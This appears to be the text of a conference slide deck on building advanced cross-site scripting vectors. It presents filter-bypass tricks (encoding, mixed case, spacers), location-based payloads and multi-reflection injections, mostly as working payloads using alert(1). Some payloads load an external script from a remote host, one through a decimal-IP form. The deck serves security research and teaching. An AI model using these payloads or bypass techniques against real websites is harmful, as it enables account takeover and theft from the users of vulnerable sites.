

Building Advanced **XSS** Vectors

About

About - Agenda

- About
- Vector Scheme
- Vector Builder (webGun)
- Agnostic Event Handlers
- Reusing Native Code
- Filter Bypass
- Location Based Payloads
- Multi Reflection

About - Speaker

- Security researcher @sucurisecurity
- Former #1 @openbugbounty
- Some HoF & acknowledgements
- XSS expert

About - Presentation

- Not just another talk on XSS
- Use of alert(1) for didactic purposes
- Mainly about event based XSS
- Some stuff may be hard to follow

Vector Scheme

Vector Scheme

- Regular

`<tag handler=code>`

Example:

`<svg onload=alert(1)>`

Vector Scheme

- Full

extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3

Example:

```
<table><thead%oCstyle=font-size:700px%oDonmouseover%oA=%oBprompt  
(1)%o9><td>AAAAAAAAAA
```


Vector Builder (webGun)

<http://brutelogic.com.br/webgun>

Vector Builder (webGun)

- Interactive cheat sheet
- Builder of XSS vectors/payloads
- More than 3k unique combinations
- Event or tag oriented
- Handlers by browser
- Handlers by length*
- Manual vector editing
- Test on target or default test page

* for filter bypass procedure.

Agnostic IE Firefox Opera Safari Chrome

Event Oriented Tag Oriented

Extra 1 < Tag Extra 2 Event
Javascript > Extra 3

Build



Load

```
<svg/onload=alert(1)>
```



Back

Shoot!

"> '> > none

Target

keep it

Place the payload in target with |xss| or leave it blank for test page.

http://domain/page?p=|xss|

Agnostic Event Handlers

Agnostic Event Handlers

- Used with almost any tag
- Ones that work with arbitrary tags

Example: `<brute`

- Most require UI
- Work on all major browsers

Agnostic Event Handlers - List

- onblur
- onclick
- oncopy
- oncontextmenu
- oncut
- ondblclick
- ondrag
- onfocus
- oninput
- onkeydown
- onkeypress
- onkeyup
- onmousedown
- onmousemove
- onmouseout
- onmouseover
- onmouseup
- onpaste

Agnostic Event Handlers

- Example:

`<brute onclick=alert(1)>clickme!`

Reusing Native Code

Reusing Native Code

- Example 1

```
...<input type="hidden" value="INPUT"></form><script type="text/javascript">  
function x(){ do something }</script>
```

- INPUT

```
"><script>alert(1)//
```

or

```
"><script>alert(1)<!--
```

Reusing Native Code

- Injection

```
...<input type="hidden" value=""><script>alert(1)//</form><script type="text/javascript"> function x(){ do something }</script>
```

- Result

```
...<input type="hidden" value=""><script>alert(1)//</form><script type="text/javascript"> function x(){ do something }</script>
```

Reusing Native Code

- Example 2

```
...  
<input type="hidden" value="INPUT"  
>  
</form>  
<script type="text/javascript">  
    function x() {  
        do something  
    }  
</script>
```

- INPUT

```
"><script src="//brutellogic.com.br/1
```

or

```
"><script src="//3334957647/1
```

Reusing Native Code

- Injection

```
...  
<input type="hidden" value=""  
><script src="//brutelogic.com.br/1"  
>  
</form>  
<script type="text/javascript">  
    function x() {  
        do something  
    }  
</script>
```

- Result

```
...  
<input type="hidden" value=""  
><script src="//brutelogic.com.br/1"  
>  
</form>  
<script type="text/javascript">  
    function x() {  
        do something  
    }  
</script>
```

Filter Bypass

Filter Bypass - Procedure

- Arbitrary tag + fake handler
- Start with 5 chars, increase
- Example

<x onxxx=1 (5) pass

<x onxxxx=1 (6) pass

<x onxxxxx=1 (7) block

Up to 6 chars:

oncut, onblur, oncopy, ondrag, ondrop, onhelp, onload, onplay, onshow

Filter Bypass - Tricks

- Encoding

`%3Cx onxxx=1`

`<%78 onxxx=1`

`<x %6Fnxxx=1`

`<x o%6Exxx=1`

`<x on%78xx=1`

`<x onxxx%3D1`

- Mixed Case

`<X onxxx=1`

`<x ONxxx=1`

`<x OnXxx=1`

`<X OnXxx=1`

- Doubling

`<x onxxx=1 onxxx=1`

Filter Bypass - Tricks

- Spacers

<x/onxxx=1

<x%09onxxx=1

<x%0Aonxxx=1

<x%0Conxxx=1

<x%0Donxxx=1

<x%2Fonxxx=1

- Combo

<x%2F1=">%22OnXxx%3D1

- Quotes

<x 1='1'onxxx=1

<x 1="1"onxxx=1

- Mimetism

<x </onxxx=1 (closing tag)

<x 1=">" onxxx=1 (text outside tag)

<http://onxxx%3D1/ (URL)

Location Based Payloads

Location Based Payloads

- Really complex payloads can be built
- `document.location` properties and similar
- Avoiding special chars (at least between = and >)
- Game over to filter

Location Based Payloads - Document Properties

- location.protocol

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3

Location Based Payloads - Document Properties

- location.hostname, document.domain

protocol: // **domain** / path/page ?p= text1 <tag handler=code> text2 # text3

Location Based Payloads - Document Properties

- location.origin

protocol: // **domain** / path/page ?p= text₁ <tag handler=code> text₂ # text₃

Location Based Payloads - Document Properties

- `location.pathname`

protocol: // domain / **path/page** ?p= text1 <tag handler=code> text2 # text3

Location Based Payloads - Document Properties

- location.search

protocol: // domain / path/page **?p= text1 <tag handler=code> text2** # text3

Location Based Payloads - Document Properties

- `previousSibling.nodeValue`, `document.body.textContent*` ("Before")

protocol: // domain / path/page ?p= **text1** <tag handler=code> text2 # text3

* (may need to close the injected tag)

Location Based Payloads - Document Properties

- tagName, nodeName ("Itself")

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3

Location Based Payloads - Document Properties

- outerHTML ("Itself")

protocol: // domain / path/page ?p= text₁ <tag handler=code> text₂ # text₃

Location Based Payloads - Document Properties

- innerHTML* ("After")

protocol: // domain / path/page ?p= text1 <tag handler=code> **text2** # text3

* (may need to close the injected tag)

Location Based Payloads - Document Properties

- `textContent`, `nextSibling.nodeValue*`, `firstChild.nodeValue`, `lastChild.nodeValue` ("After")

protocol: // domain / path/page ?p= text₁ <tag handler=code> **text₂** # text₃

* (may need to close the injected tag)

Location Based Payloads - Document Properties

- Location.hash ("Hash")

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # **text3**

Location Based Payloads - Document Properties

- URL, location.href, baseURI, documentURI

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3

Location Based Payloads - Evolution 1

<svg onload=location='javascript:alert(1)'>

<svg onload=location=location.hash.substr(1)>#javascript:alert(1)

<svg onload=location='javas'+cript:'ale'+rt'+location.hash.substr(1)>#(1)

<svg onload=location=/javas/.source+cript:/.source+/ale/.source+/rt/.
source+location.hash.substr(1)>#(1)

<svg onload=location=/javas/.source+/cript:/.source+/ale/.source+/rt/.
source+location.hash[1]+1+location.hash[2]>#()

Location Based Payloads - Evolution 2

<javascript onclick=alert(tagName)>click me!

<javascript:alert(1) onclick=location=tagName>click me! <== **doesn't work! So...**

<javascript onclick=location=tagName+location.hash(1)>click me!#:alert(1)

<javascript onclick=location=tagName+innerHTML+location.hash>:/*click me!
#*/alert(1)

javascript + : "click me! + #" -alert(1)

javascrip + t: "click me! + #" -alert(1)

javas + cript: "click me! + #" -alert(1)

Location Based Payloads - Taxonomy

- By Type

1. Location

2. Location Self

3. Location Self Plus

- By Positioning (Properties)

Before < Itself > After # Hash

└ Inside

Location Based Payloads - Location

- Location After (innerHTML)

```
<j onclick=location=innerHTML>javascript&colon;alert(1)//
```

- Location Inside (name+id)

```
<svg id=t:alert(1) name=javascrip onload=location=name+id>
```

Location Based Payloads - Location

- Location Itself + After + Hash (tagName+innerHTML+location.hash)

`<javascript onclick=location=tagName+innerHTML+location.hash>:/*click me!
#*/alert(1)`

`<javascript onclick=location=tagName+innerHTML+location.hash>:'click me!#'-
alert(1)`

`<javascript onclick=location=tagName+innerHTML+URL>:"- 'click me!
</javascript>#'-alert(1)`

Result: javascript + :"- 'click me! + *http://... "- 'click me</javascript>#'-alert(1)*

Location Based Payloads - Location

- Location Itself + Hash (tagName+URL)

<javascript:"- ' onclick=location=tagName+URL>click me!#'-alert(1)

(“Labeled Jump”)

<javascript: onclick=location=tagName+URL>click me!#%0Aalert(1)

Result:

javascript: + http://...<javascript: onclick=location=tagName+URL>click me!#%0Aalert(1)

Location Based Payloads - Location

- Location After + Hash (innerHTML+URL)

<j onclick=location=innerHTML+URL>javascript:"- 'click me!</j>#'-alert(1)

<j onclick=location=innerHTML+URL>javascript:</j>#%0Aalert(1)

Location Based Payloads - Location

- Location Itself + After + Hash (tagName+innerHTML+URL)

*<javas onclick=location=tagName+innerHTML+URL>cript:"- 'click me!</javas>#'-
alert(1)*

<javas onclick=location=tagName+innerHTML+URL>cript:</javas>#%0Aalert(1)

Location Based Payloads - Location

- Location Itself + Before (tagName+previousSibling)

"-alert(9)<javascript:" onclick=location=tagName+previousSibling.
nodeValue>click me!

- Location Itself + After + Before (tagName+innerHTML+previousSibling)

'-alert(9)<javas onclick=location=tagName+innerHTML+previousSibling.
nodeValue>cript:'click me!

Location Based Payloads - Location

- Location After + Itself (innerHTML+outerHTML)

```
<alert(1)<!-- onclick=location=innerHTML+outerHTML>javascript:1/*click me!  
*/</alert(1)<!-- -->
```

```
javascript:1/*click me!*/ + <alert(1)<!-- ... </alert(1)<!-- -->
```

```
<j 1="*/"-alert(1)<!-- onclick=location=innerHTML+outerHTML>javascript:  
/*click me!
```

```
javascript:/*click me! + <j 1="*/"-alert(1)<!-- ...
```

Location Based Payloads - Location

- Location After + Before + Itself (innerHTML+previousSibling+outerHTML)

```
*/"<j"-alert(9)<!-- onclick=location=innerHTML+previousSibling.  
nodeValue+outerHTML>javascript:/*click me!
```

```
javascript:/*click me! + */" + <j"-alert(9)<!-- ...
```

```
*/"<j 1=-alert(9)// onclick=location=innerHTML+previousSibling.  
nodeValue+outerHTML>javascript:/*click me!
```

```
javascript:/*click me! + */" + <j 1="-alert(9)//" ...
```

Location Based Payloads - Location Self

- Location Self Inside

p=<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>

http://...?p=<svg/onload=alert(1)+

p=<svg id=?p=<script/src=//brutelogic.com.br/1%2B onload=location=id>

http://...?p=<script/src=//brutelogic.com.br/1+

Location Based Payloads - Location Self

- Location Self After

`p=<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>`

`http://...?p=<svg/onload=alert(1)>`

Location Based Payloads - Location Self Plus

- Location Self Plus Itself

`p=<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!`

`http://...?p=%3Cj%26p=%3Csvg%2Bonload=alert(1)%20onclick=location%2B=outerHTML%3Eclick%20me!<j&p=<svg+onload=alert(1) onclick="location+=outerHTML">`

Location Based Payloads - Location Self Plus

- Location Self Plus After

`p=<j onclick=location%2B=textContent%26p=%26lt;svg/onload=alert(1)>`

`http://...?p=%3Cj%20onclick=location%2B=textContent%3E%26p=%26lt;svg/onload=alert(1)%3E&p=<svg/onload=alert(1)>`

Location Based Payloads - Location Self Plus

- Location Self Plus Before

`p=%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.textContent>click me!`

`http://...?p=%26p=%26lt;svg/onload=alert(1)%3E%3Cj%20onclick=location%2B=document.body.textContent%3Eclick%20me![BODY_CONTENT]&p=<svg/onload=alert(1)>click me!`

Multi Reflection

Multi Reflection - Single Input

- Double Reflection - Single Input

p='onload=alert(1)><svg/1='

'onload=alert(1)><svg/1='

... [code] ...

'onload=alert(1)><svg/1='

- Double Reflection - Single Input (script)

p='>alert(1)</script><script/1='

p='*/alert(1)</script><script>/'

*/alert(1)</script><script>/'

... [code] ...

*/alert(1)</script><script>/'

Multi Reflection - Single Input

- Triple Reflection - Single Input

p=*/alert(1)">'onload="/*<svg/1='

p=`-alert(1)">'onload="`<svg/1='

`-alert(1)">'onload="`<svg/1='

... [code] ...

`-alert(1)">'onload="`<svg/1='

... [code] ...

`-alert(1)">'onload="`<svg/1='

- Triple Reflection - Single Input (script)

p=*/</script>'>alert(1)/*<script/1='

/</script>'>alert(1)/<script/1='

... [code] ...

/</script>'>alert(1)/<script/1='

... [code] ...

/</script>'>alert(1)/<script/1='

Multi Reflection - Multi Input

- 2 inputs:

p=<svg/1='&q='onload=alert(1)>

- 3 inputs:

p=<svg 1='&q=onload='/*&r=*/alert(1)'>

Conclusion

- XSS vectors can:
 - be complex;
 - easily evade filters;
 - blow your mind.

Thanks!

@brutellogic